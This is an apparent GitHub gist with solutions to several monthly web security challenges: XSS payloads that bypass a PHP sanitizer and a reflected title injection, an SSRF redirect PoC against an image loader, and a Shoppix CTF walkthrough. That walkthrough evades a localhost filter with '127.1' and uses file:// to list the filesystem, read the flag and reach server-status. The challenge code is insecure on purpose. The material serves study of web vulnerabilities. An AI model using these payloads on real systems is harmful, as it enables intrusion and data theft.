Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active October 9, 2025 13:54
Show Gist options
  • Save Siss3l/7f746bb4617c1dd35179b24b4270e70a to your computer and use it in GitHub Desktop.
Save Siss3l/7f746bb4617c1dd35179b24b4270e70a to your computer and use it in GitHub Desktop.
Monthly Code Challenge 2025

Monthly Code Challenge 2025

We have this month some little challenges for the price of one.

XSS

XSS

<?php
function sanitizer($input) { // $ php -S localhost:1234
    $allowed_tags = ["div", "span", "img", "input", "form", "a",
                     "style", "button"];
    $allowed_attributes = ["name", "src", "class", "id", "type"];

    preg_match_all("/<(\/?)(.*?)(\s|>)/i", $input, $tags);
    foreach ($tags[2] as $tag) {
        if (!in_array(strtolower($tag), $allowed_tags)) {
            return "Blocked";
        }
    }

    preg_match_all('/[\s\n\r\t]+([\w-]+)=\s*(["\'\`]|[^\s>]*)/i',
                   urldecode($input), $attrs);
    foreach ($attrs[1] as $attr) {
        if (!in_array(strtolower($attr), $allowed_attributes)) {
            return "BLOCKED";
        }
    }

    return $input;
}
// "?name=<style /onload=alert(origin)>"
echo "<div>Welcome back, " . sanitizer($_GET["name"]) . "!</div>";
?>

We use any allowed tag (like <style>) and add a special character to succeed.

Project

Fetch

Fetch

import express from "express";
import axios   from "axios";

const app  = express();
const port = 3000;

async function fetchWithPreflight(url: string): Promise<string> {
    try {
        // First do a preflight HEAD request
        const res1 = await axios.head(url);

        // Check if the content type matches our expected type
        const contentType = res1.headers["content-type"];

        if (["image/png", "image/jpg", "image/jpeg"].includes(contentType)) {
            // If preflight passes, perform the actual GET request
            const res = await axios.get(url, {
                maxRedirects: 5,      // Allow redirects
                validateStasus: null  // Accepts any status code
            });

            return res.data;
        } else {
            throw new Error(`Invalid content type: ${contentType}`);
        }
    } catch (error) {
        console.error("Error fetching resource:", error);
        throw error;
    }
}

app.get("/api/image-loader", async (req, res) => {
    const imgUrl = req.query.url as string;

    if (!imgUrl) {
        return res.status(400).send("URL parameter is required");
    }

    try {
        const data = await fetchWithPreflight(imgUrl); // fetchImage()
        res.send(data);
    } catch (error) {
        res.status(500).send(`Error: ${error.message}`);
    }
});

app.listen(port, () => {
    console.log(`Server running at http://localhost:${port}`);
});

Express

We have a classic case of redirections where we can do pretty much whatever we want with few headers.

app.get("/poc", (req, res) => { // curl https://localhost:443/api/image-loader?url=https://evil.google.com/poc
    res.setHeader("Content-Type", "image/png");
    res.setHeader("Location",     "http://localhost:8080/secret"); // "https://webhook.site"
    res.status(302).end();      // res.send("<svg/onload=alert(document.location)>");
});

Sanitize

Sanitize

<html lang="en">
  <head>
    <meta charset="utf-8" />
    <title>Unsubscribe <?php echo $_GET["email"] ?></title>
    <meta http-equiv="content-security-policy" content="default-src 'none';" />
  </head>
  <body>
    <h1>Are you sure you want to unsubscribe from our newsletter?</h1>
    <span>Your email address is <b><?php echo $_GET["email"] ?></b>.</span>
  </body>
</html><!-- ?email=</title><svg/onload=alert(origin)> -->

The vulnerability is as reflected XSS caused by directly embedding untrusted $_GET["email"] input in both the HTML <title> element and the body without sanitization or escaping.

Meme

Shoppix

Shoppix

We have a challenge where we can supposedly import any url:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Shoppix Fashion Importer</title>
  <link href="https://fonts.googleapis.com/css2?family=Montserrat" rel="stylesheet">
  <style>
    body { /* In /var/www/html/challenge.php */
      background: #0d0d0d;
    }
  </style>
</head>
<body>
   <?php include "partials/header.php"; ?>
  <div class="card">
    <h1>Shoppix Importer</h1>
    <h2>Your gateway to sustainable fashion</h2>
    <p>
      At <strong>Shoppix</strong>, we believe fashion should be stylish, affordable, 
      and sustainable. Our platform connects thousands of fashion lovers with 
      unique second-hand pieces, giving clothes a new life while reducing waste.
    </p>
    <p>
      This importer allows our team to quickly fetch product images from partner 
      stores around the globe. Just enter a product image URL below and preview 
      the results instantly.
    </p>
    <form method="get">
      <input type="text" name="url" placeholder="Enter image URL" />
      <br>
      <button type="submit">Fetch Resource</button>
    </form>
    <?php
    if (isset($_GET['url'])) {
        $url = $_GET['url'];
        if (stripos($url, 'http') === false) {
            die("<p style='color:#ff5252'>Invalid URL: must include 'http'</p>");
        }
        if (stripos($url, '127.0.0.1') !== false || stripos($url, 'localhost') !== false) {
            die("<p style='color:#ff5252'>Invalid URL: access to localhost is not allowed</p>");
        }
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $response = curl_exec($ch);
        if ($response === false) {
            echo "<p style='color:#ff5252'>cURL Error: " . curl_error($ch) . "</p>";
        } else {
            echo "<h3>Fetched content:</h3>";
            echo "<pre>" . htmlspecialchars($response) . "</pre>";
        }
        curl_close($ch);
    }
    ?>
  </div>
  <?php include "partials/footer.php"; ?>
</body>
</html>
<!-- In /var/www/html/index.php -->
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    </head>
    <body>
        <section id="wrapper">
            <section id="rules">
                <div id="challenge-container" class="card-container">
                    <div class="card-header">
                        <img class="card-avatar" src="/public/creator.jpg" alt="creator">
                    </div>
                    <div id="challenge-info" class="card-content">
                        <p>Find the FLAG</p>
                        <b>Rules:</b>
                        <ul>
                            <li>This challenge runs from 06/10/2025 6:00 PM until 13/10/2025, 11:59 PM UTC.</li>
                        </ul>
                        <b>The solution:</b>
                        <ul>
                            <li>Should leverage a remote code execution vulnerability on the challenge page.</li>
                            <li>Shouldn't be self-XSS or related to MiTM attacks.</li>
                            <li>Should require no user interaction.</li>
                            <li>Should include:</li>
                        </ul>
                        <b>Test your payloads down below and <a href="/challenge.php">on the challenge page here</a>!</b>
                        <p>Let's pop that shell!</p>
                    </div>
                </div>
                <div class="card-container">
                    <iframe src="/challenge.php" width="100%" height="600px"></iframe>
                </div>
            </section>
        </section>
    </body>
</html>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Shoppix Upload</title>
  <link href="https://fonts.googleapis.com/css2?family=Montserrat" rel="stylesheet">
  <style>
    body { /* In /var/www/html/upload_shoppix_images.php */
      background: #0d0d0d;
    }
  </style>
</head>
<body>
  <?php include "partials/header.php"; ?>
  <div class="card">
    <h1>Upload Your Design</h1>
    <form method="post" enctype="multipart/form-data">
      <input type="file" name="image" />
      <br>
      <button type="submit">Upload</button>
    </form>
    <?php
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $file = $_FILES['image'];
        $filename = $file['name'];
        $tmp = $file['tmp_name'];
        $mime = mime_content_type($tmp);
        if (strpos($mime, "image/") === 0 && (stripos($filename, ".png") !== false || stripos($filename, ".jpg") !== false || stripos($filename, ".jpeg") !== false)) {
            move_uploaded_file($tmp, "uploads/" . basename($filename));
            echo "<p style='color:#00e676'>βœ… File uploaded successfully to /uploads/ directory!</p>";
        } else {
            echo "<p style='color:#ff5252'>❌ Invalid file format</p>";
        }
    }
    ?>
  </div>
  <?php include "partials/footer.php"; ?>
</body>
</html>
<div class="navbar">
  <div class="logo">πŸ‘— Shoppix</div>
  <div class="nav-links">
    <a href="index.php">Home</a>
    <a href="#">About</a>
    <a href="#">Contact</a>
  </div>
</div>
<style>
  .navbar { /* In /var/www/html/partials/header.php */
    display: flex;
  }
</style>
<div class="footer">
  <p>&copy; <?php echo date("Y"); ?> Shoppix - Sustainable Fashion for Everyone 🌍</p>
</div>
<style>
  .footer { /* In /var/www/html/partials/footer.php */
    text-align: center;
  }
</style>

Resolution

We try to gather as much information as possible in order to get a good overview.

local:~# wget "https://challenge-1025.domain.io/challenge.php?url=test"
Invalid URL: must include 'http'

local:~# wget "challenge.php?url=http_rickroll"  # We also need to put the string `http` anywhere in our url
cURL Error: Could not resolve host: http_rickroll

local:~# wget "challenge.php?url=http://localhost"  # https://daniel.haxx.se/blog/2022/12/14/idn-is-crazy
Invalid URL: access to localhost is not allowed

local:~# ping 127.1  # Some zeroes are optional in IP address
PING 127.1  (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.000 ms

local:~# wget "challenge.php?url=http://127.1"  # Will default to the `index.php` file
<!DOCTYPE html>
<html lang="en">
<...>

local:~# wget "challenge.php?url=file:///?http"  # Since we have access to local files, we now need to list them (with the `file://` scheme)
# https://everything.curl.dev/protocols/curl.html#file | https://ctftime.org/writeup/33757
lib64
srv
home
...
mnt
tmp
sys
proc
root
93e892fe-c0af-44a1-9308-5a58548abd98.txt

local:~# wget "challenge.php?url=file:///93e892fe-c0af-44a1-9308-5a58548abd98.txt?http"
FLAG{ngks896sdjvsjnv6383utbgn}
# BONUS TIME πŸ•
local:~# wget "challenge.php?url=file:///proc/self/cwd?http"  # https://www.kernel.org/doc/html/latest/filesystems/proc.html
partials/..
public/..
uploads/..
challenge.php
index.php
upload_shoppix_images.php

local:~# wget "challenge.php?url=http://127.1/server-status"
# https://cloud.google.com/security-command-center/docs/concepts-container-threat-detection-overview#:~:text=/dev/shm
# https://github.com/ambionics/cnext-exploits#shell
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html><head>
<title>Apache Status</title>
</head><body>
<h1>Apache Server Status for 127.0.0.1 (via 127.0.0.1)</h1>
<dl><dt>Server Version: Apache/2.4.65 (Debian) PHP/8.1.33</dt>
<...>
<address>Apache/2.4.65 (Debian) Server at 127.0.0.1 Port 8080</address>
</body></html>

local:~# wget "challenge.php?url=http://10.14.7.x/"
# https://sourcegraph.com/search?q=context:global+reverse-proxies.md#nginx
# https://hackmd.io/@CaRZODiyRTmwgiK0D4Rf8A/rysUeBzHT#headers
<html>
<head><title>503 Service Temporarily Unavailable</title></head>
<body>
<center><h1>503 Service Temporarily Unavailable</h1></center>
<hr><center>nginx</center>
</body>
</html>

local:~# exit

And it's done.

Ez

Comments are disabled for this gist.